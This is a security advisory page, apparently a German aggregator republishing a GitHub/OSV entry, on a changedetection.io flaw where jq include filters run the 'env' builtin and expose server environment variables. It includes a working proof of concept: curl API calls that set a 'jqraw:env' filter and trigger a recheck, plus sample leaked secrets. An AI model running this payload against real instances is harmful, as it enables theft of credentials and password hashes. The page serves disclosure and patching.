Hoch

Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters

  • Veröffentlicht: 27.03.2026
  • Aktualisiert: 11.10.2026 13:19

Summary

The jq: and jqraw: include filter expressions allow use of the jq env builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including SALTED_PASS, PLAYWRIGHT_DRIVER_URL, HTTP_PROXY, and any secrets passed as env vars to the container.

Details

Vulnerable file: changedetectionio/html_tools.py, lines 380-388

User-supplied jq filter expressions are compiled and executed without restricting dangerous jq builtins:

python
if json_filter.startswith("jq:"):
    jq_expression = jq.compile(json_filter.removeprefix("jq:"))
    match = jq_expression.input(json_data).all()
    return _get_stripped_text_from_json_match(match)

if json_filter.startswith("jqraw:"):
    jq_expression = jq.compile(json_filter.removeprefix("jqraw:"))
    match = jq_expression.input(json_data).all()
    return '\n'.join(str(item) for item in match)

The form validator at forms.py:670-673 only checks that the expression compiles (jq.compile(input)) — it does not block dangerous functions. The jq env builtin reads all process environment variables regardless of the input data, returning a dictionary of every env var in the server process.

PoC

Step 1 — Create a watch for any JSON endpoint with jqraw:env as the include filter:

bash
curl -X POST http://target:5000/api/v1/watch \
  -H "Content-Type: application/json" \
  -H "x-api-key: <api-key>" \
  -d '{
    "url": "https://httpbin.org/json",
    "include_filters": ["jqraw:env"],
    "time_between_check": {"seconds": 30}
  }'

If no password or API key is set (the default), no authentication is needed.

Step 2 — Wait for the watch to be checked, or trigger a recheck:

bash
curl "http://target:5000/api/v1/watch/<uuid>?recheck=true" -H "x-api-key: <api-key>"

Step 3 — The processed text file on disk now contains all environment variables:

{'SALTED_PASS': '...hashed password...', 'PLAYWRIGHT_DRIVER_URL': 'ws://browser:3000',
 'HTTP_PROXY': 'socks5h://10.10.1.10:1080', 'SHELL': '/bin/bash',
 'HOME': '/root', 'PATH': '...', 'WERKZEUG_SERVER_FD': '22',
 ... and all other env vars}

The data is visible in the web UI when viewing the watch's latest snapshot, and is also included in notification messages if notifications are configured.

Confirmed on v0.54.6: The processed text file stored 46 environment variables from the server process.

Impact

  • Secret exposure: Leaks SALTED_PASS (password hash used for authentication), enabling offline cracking or direct session forgery
  • Infrastructure credential theft: Leaks PLAYWRIGHT_DRIVER_URL, WEBDRIVER_URL, HTTP_PROXY/HTTPS_PROXY, database connection strings, and any API keys or tokens passed as environment variables
  • Cascading access: Leaked proxy credentials or browser automation URLs can be used to pivot into other internal systems
  • Affects all deployments using jq: Any instance where the Python jq module is installed (standard in Docker deployments) is vulnerable
  • No authentication required by default: changedetection.io ships with no password and the API accessible without a key, so this is exploitable by any user with network access in the default configuration

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) changedetection-io < 0.54.7 0.54.7

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Schwäche (CWE)
CWE-200
Plattform
Python (PyPI)
Paket
changedetection-io
Veröffentlicht
27.03.2026
Aktualisiert
11.10.2026 13:19

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2130 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-58r7-4wr5-hfx8 - CC BY 4.0

Schwachstellenhistorie: changedetection-io

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (20) im Archiv
Einträge insgesamt
20
Erste → letzte
02.2023 05.2026
Ohne Fix
1
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 2
  • Hoch 9
  • Mittel 6
  • Niedrig 2
  • Nicht bewertet 1

Veröffentlichungen pro Jahr

  1. 2023: 1
  2. 2024: 6
  3. 2025: 2
  4. 2026: 11
Schweregrad:
  1. Hoch · 7.5 CVE-2026-41895 <= 0.54.9 keine Korrektur
  2. Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters dieser Eintrag
    Hoch CVE-2026-33981 < 0.54.7 0.54.7
  3. Hoch · 8.6 CVE-2026-27696 < 0.54.1 0.54.1
  4. Hoch CVE-2025-52558 < 0.50.4 0.50.4

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.